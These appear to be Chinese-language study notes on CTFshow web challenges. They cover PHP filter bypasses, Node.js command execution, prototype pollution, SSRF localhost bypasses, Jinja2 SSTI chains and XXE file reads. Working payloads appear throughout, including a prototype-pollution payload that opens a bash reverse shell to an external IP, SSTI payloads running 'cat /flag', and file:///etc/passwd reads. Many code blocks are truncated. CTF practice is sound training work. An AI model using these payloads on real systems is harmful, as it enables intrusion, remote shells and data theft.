这个地方我们如果把$error=$flag就可以输出flag了,但是value等于flag会拦截,所以我们让suces=flag,error=suces。
也就是get发suces=flag,POST发error=suces。
那么我们要走die($suces);
,那么我们要让flag=$flag,所以我们要控制$flag,先让flag的值存在suces里,再控制它
? suce=flag
然后flag=
最后POST传flag=
或者不传。
web106
1 | include("flag.php"); |
数组绕过
web107
1 | include("flag.php"); |
ai能写出来
web108
1 | include("flag.php"); |
ereg(“正则表达式”, 字符串) 匹配失败是false
1 | if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) |
这一句要求传的c全是字母
strrev 把字符串倒过来
0x36d
是十六进制数,等于 877
intval()
是把一个值转成整数,并且用的是弱比较
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
1 | ?c=a%00778 |
web109(纠结语法中)
1 | if(isset($_GET['v1']) && isset($_GET['v2'])){ |
/[a-zA-Z]+/ 至少一个英文字母的意思
echo new 很容易就想到类
Exception 类有一个特殊的方法叫做
__toString()
,当你echo Exception对象
时,它会自动调用这个魔术方法,并把异常信息(也就是system()
的返回值)打印出来!
web110
1 | if(isset($_GET['v1']) && isset($_GET['v2'])){ |
web111
1 | include("flag.php"); |
反序列化
web254
1 |
|
node.js
web334
附件给了源码 user.js login,js
user.js 中有用户名:CTFSHOW,密码:123456 4、审计 login.js,其中代码 return name!==’CTFSHOW’ && item.username === name.toUpperCase() && item.password === password;,用户名输入小写 ctfshow
web335
页面发现 eval 参数的 get 传参
1 | ?eval=require('child_process').execSync('ls') |
1 | 代码解释: |
跟 SSTI 是固定模版,require 类似于 import,所以背就完事了,
web336
把上一题的 execSync 过滤了
过滤了 exec,其他不变
1 | child_process.spawnSync(command[, args][, options]) |
其中的 stdout 表示缓冲区中的内容,也就是输出结果,也可以在结尾继续追加一个 toString()方法但是还可以用
or:
1 | 检查发现过滤了 exec |
web337
1 | if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ |
?a[a]=1&b[b]=1
满足 a 和 b 都为真、a 和 b 长度相等、和字符串拼接的结果都是[object Object]flag
web338
1 | 给了源码, 看到 login.js 里面有个 copy() 函数 |
基础的原型链污染, 因为需要 满足条件 secert.ctfshow==='36dboy'
, 可以输出 flag,
但是 secert 是否有 ctfshow 不重要, 让它的原型拥有就行,
secert 和 user 都是 对象, 在执行 copy 操作 ,构造一个请求体污染了 user 的原型,
存在一个 ctfshow 的属性, 值为 36dboy , 那么在 secert 的里面找不到 ctfshow 的属性. 就会往原型上去找, 从而满足secert.ctfshow==='36dboy'
,得到 flag
抓个登录的包, 修改一下就行
1 | payload: |
==============================
web339 变量覆盖 query
login.js
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
api.js
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
和上一题的区别在于,上一题判断语句是 if(secert.ctfshow= = =‘36dboy’),这题是 if(secert.ctfshow= = =flag),但是变量 flag 的值我们不知道,所以不能使用上一题的 payload 污染原型修改 secert.ctfshow。
通过 login.js 里的 utils.copy(user,req.body); 污染原型,然后访问 api 的时候由于 query 未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可 rce。

web340
这一题从 userinfo 对象进行污染,userinfo 对象上一级是 user 对象,user 对象上一级就是 object,所以需要污染两次。
payload:
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}} |
记得 POST 发包调成 json 格式。
环境变量中找到 flag
就是我们能控制的是 userinfo,但是 userinfo 上一级是 user,user 的上一级才是 object,才能影响到’api’, { query: Function(query)(query)}
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}} |
剩下的步骤和上面一样
我咋知道我能控制的是什么?我怎么知道“地位”?
SSRF
web351
1 | <?php |
url = http://127.0.0.1/flag.php
url = localhost/flag.php
url = 127.0.0.1/flag.php
url = file:///var/www/html/flag.php(在源代码)
尝试 post 传入 url,并使用 file 协议作为参数,file:///etc/passwd 有返回值。 然后猜测 flag 在当前目录,而当前目录一般都是/var/www/html 故传入 file:///var/www/html/flag.php
两个问题等你写
curl_exec 的特性
本题最后一个 payload 有什么不同,为什么可以绕过本地限制
答案:
curl_exec
函数的作用及使用场景curl_exec
是 PHP cURL 库中用于执行预配置的 cURL 会话的函数。它会发起网络请求(如 HTTP、FTP 等)并获取响应数据。在正常开发中,curl_exec
常用于以下场景:- 调用第三方 API(如支付接口、社交媒体平台)。
- 爬取网页内容或聚合数据。
- 下载远程文件(如图片、文档)。
- 实现服务间通信(如微服务架构中的内部调用)。
- 前三个 Payload 生效的原因
前三个 Payload 利用的是 SSRF(服务端请求伪造),使服务器向自身发起请求:url=http://127.0.0.1/flag.php
与url=http://localhost/flag.php
:127.0.0.1
和localhost
均指向服务器本地。若flag.php
部署在服务器的 Web 根目录(如/var/www/html/
)且仅允许本地访问,通过 cURL 请求这些地址可直接读取文件内容。- 注意:若 Payload 中未显式包含协议(如
http://
),cURL 可能默认补全或报错,实际测试时需确保 URL 格式正确(如http://127.0.0.1/flag.php
)。
file://
协议绕过本地限制的原因
Payloadurl=file:///var/www/html/flag.php
生效的关键点:- 直接文件系统访问:
file://
协议允许 cURL 直接读取服务器本地文件,无需经过 HTTP 服务。若代码未限制协议类型(默认允许所有协议),攻击者可绕过网络层限制(如防火墙、IP 黑名单)。 - 防御缺失:若服务器未禁用危险协议(如通过
CURLOPT_PROTOCOLS
限制仅允许 HTTP/HTTPS),file://
可被利用读取敏感文件(如/etc/passwd
)。
- 直接文件系统访问:
web352
1 | <?php |
漏洞分析
- 正则表达式缺陷
- 范围不完整:正则仅检测
127.0.0
,但未覆盖以下情况:- IPv4 短格式:
http://127.1/
(等价于127.0.0.1
)。 - 十进制 IP:
http://2130706433/
(对应127.0.0.1
)。 IPv6 地址:http://[::1]/
(对应localhost
)。
- IPv4 短格式:
大小写绕过:未使用i
修饰符,LocalHost
或LOCALHOST
可绕过检测。
parse_url
解析绕过
- URL 混淆攻击:
构造http://evil.com@127.0.0.1/
,parse_url
解析的host
为evil.com
,但实际请求发送到127.0.0.1
。 - 路径注入:
http://example.com/127.0.0.1/flag.php
,正则触发误杀合法 URL,但攻击者仍可能利用其他格式。
攻击示例
绕过黑名单的 Payload:
IPv4 短格式
复制
url = http://127.1/flag.php
- 等价于
127.0.0.1
,但绕过正则检测。
- 等价于
十进制 IP
复制
url = http://2130706433/flag.php
- 十进制
2130706433
对应127.0.0.1
。
- 十进制
IPv6 地址复制url = http://[:: 1]/flag.php
IPv6 的本地回环地址,未被正则覆盖。
各种进制的 IP 地址
#默认
#16 进制
#10 进制
((127 256+0) 256+0)*256+1//计算过程
http://2130706433
#8 进制
题目使用 parse_url 对 url 进行解析,需要我们传入协议为 http 或者是 https,同时不可以出现 localhost 或者是 127.0.0 绕过: 使用其余各种指向 127.0.0.1 的地址 >>>> http://127.00000.00000.001/ 0 的数量多一点少一点都没影响,最后还是会指向 127.0.0.1 >>>> http://127.1 >>>> 利用进制绕过……………… payload:url = http://127.00000.00000.001/flag.php 或者 http://127.1/flag.php
前面的解析都没有认真思考
这里的 localhost 和 127.0.0 真的被过滤了吗?
preg_match 函数的参数都没给完整,其限制字符就是个幌子
直接
url=http://localhost/flag.php
照样拿下
web353
payload 直接拿上面那题的…
web354
1 | <?php |
通过 ip 地址解析为 127.0.0.1 的网站进行绕过
url=http://spoofed.burpcollaborator.net/flag.php
url=http://safe.taobao.com/flag.php
url=http://sudo.cc/flag.php
; A 记录 sudo.cc 指向 IP 地址 127.0.0.1。
web355
1 | <?php |
url=http://127.1/flag.php
linux 中 0 指向本机地址
payload: url=http://0/flag.php
web356
1 | <?php |
代码块
url=http://0/flag.php
(未复现)web357
1 | <?php |
filter_var
函数来验证 IP 地址的有效性,并且排除了私有 IP 范围(0.0.0.0/8、172.16.0.0/12 和 192.168.0.0/16)和保留 IP 范围(0.0.0.0/8 和 169.254.0.0/16。)。
用 DNS rebind 进行 DNS 重绑定攻击,思路:第一次访问,域名第一次解析是 127.0.0.1,第二次解析是 104.56.61.24。第二次访问的时候,域名第一次解析是 104.56.61.24,第二次解析是 127.0.0.1。用 DNS rebind 进行 DNS 重绑定攻击,思路:第一次访问,域名第一次解析是 127.0.0.1,第二次解析是 104.56.61.24。第二次访问的时候,域名第一次解析是 104.56.61.24,第二次解析是 127.0.0.1。
gethostbyname()
是 PHP 中的一个函数,用于获取指定主机名的 IP 地址。这个函数可以通过给定主机名,返回相应主机的 IPv4 地址。如果主机名无效,则函数返回主机名本身在 PHP 中,filter_var()函数结合 FILTER_VALIDATE_IP 过滤器可以用来验证一个 IP 地址的有效性。在这个例子中,FILTER_FLAG_NO_PRIV_RANGE 和 FILTER_FLAG_NO_RES_RANGE 是额外的标志,用于指定不接受私有 IP 地址和保留 IP 地址。
FILTER_VALIDATE_IP:指定要验证的过滤器类型,用于验证 IP 地址。
FILTER_FLAG_NO_PRIV_RANGE:指示 filter_var()函数不接受私有 IP 地址。私有 IP 地址范围包括:
10.0.0.0 至 10.255.255.255
172.16.0.0 至 172.31.255.255
192.168.0.0 至 192.168.255.255
FILTER_FLAG_NO_RES_RANGE:指示 filter_var()函数不接受保留 IP 地址。保留 IP 地址范围包括:
0.0.0.0 至 0.255.255.255
169.254.0.0 至 169.254.255.255
127.0.0.0 至 127.255.255.255
224.0.0.0 至 239.255.255.255
利用 302 重定向访问 127.0.0.1 的原理获得 flag 绕过过滤302 重定向是 HTTP 状态代码之一,表示临时性的重定向。当服务器收到客户端的请求后,如果需要将请求的资源临时重定向到另一个 URL,但未来可能会恢复到原始 URL 时,就会返回 302 状态码。这意味着客户端应该继续使用原始 URL 进行后续请求,因为重定向是暂时的。302 重定向常用于网站维护、临时性更改或者流量控制等场景。
web358
1 | <?php |
url=http://ctf.:passwd@127.0.0.1/flag.php#show
SSTI
web361

web362 过滤部分数字
这个题是屏蔽了数字 2 和 3,那么思路可以分为两类,硬要用 os 类那就绕过 2 和 3,或者用其他的类。
1 | {{"".__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__['popen']('cat+/flag').read()}} |
web363 单双引号””‘’
过滤了单引号,把””变成(),用 request.args.a
1 | {{().__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag |
web364 args
过滤 args,可以用 cookies
过滤 args,可以用 cookies
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.param).read()}}
cookiesCookie: p=popen; param=cat /flag
request.values.a 读取 get/post 方式里 a 的值
request.args.a 读取 get 方式里 a 的值
request.form.a 读取 post 方式里 a 的值
request.cookies.a 读取 cookie 里 a 的值
web365 方括号[]
过滤了方括号,可以用__getitem__绕过
1 ?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag
三种方法,但都需要用到 python 魔术方法 getitem
1
2
3
4
5
6
7
8
9
10
11
12
13
方法一:{%set char=config.**class**.**init**.**globals**.**builtins**.chr%}{{().**class**.**base**.**subclasses**().**getitem**(132).**init**.**globals**.popen(char(108)%2bchar(115)).read()}}
方法二: name={{().class.base.subclasses().getitem(132).init.globals.getitem(request.cookies.x1)(request.cookies.x2).read()}}
然后将 cookie 写入 Cookie: x1=popen; x2=cat /flag
方法三: 使用 subprocess.Popen 类 {{().**class**.**mro**.**getitem**(1).**subclasses**().**getitem**(407)(request.values.a,shell=True,stdout=-1).communicate().**getitem**(0)}}&a=cat /flag
web366 下划线_
过滤了下划线,先换一个更简单获取 popen 方法的类
1 ?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag再利用 filters 中的 attr 来过滤下划
具体介绍可以看一下官方文档 https://jinja.palletsprojects.com/en/2.11.x/templates/#attr
payload
1 ?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
1 | 在 `?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__` 这个恶意 payload 里: |
web367 os
1 过滤了 os,可以通过 get 来获取payload
1 ?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
web368 request
1 过滤了 request,但是是再{{}}中过滤了 request,没有在{% %}过滤 requestpayload
1 ?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
web369 request
1 |
XXE
web373
1 | libxml_disable_entity_loader(false); |
打开 bp 抓包,修改请求方法,
1 | <!DOCTYPE test [ <!-- 定义 DTD,声明根元素为 test(实际未使用) --> |
file:///flag` 的结构
- 分解:
file://
:协议标识符,表示访问本地文件。/flag
:文件路径,表示从根目录开始的绝对路径(Unix/Linux 系统)。- 三个斜杠
/
的含义:file://
后的第一个/
是 URI 路径分隔符。- 完整的
file:///flag
实际上是file:// + /flag
,即访问根目录下的flag
文件。 - 在 Windows 中可能需要写成
file:///C:/flag
(注意盘符C:
)。
- 三个斜杠
web374
1 | libxml_disable_entity_loader(false); |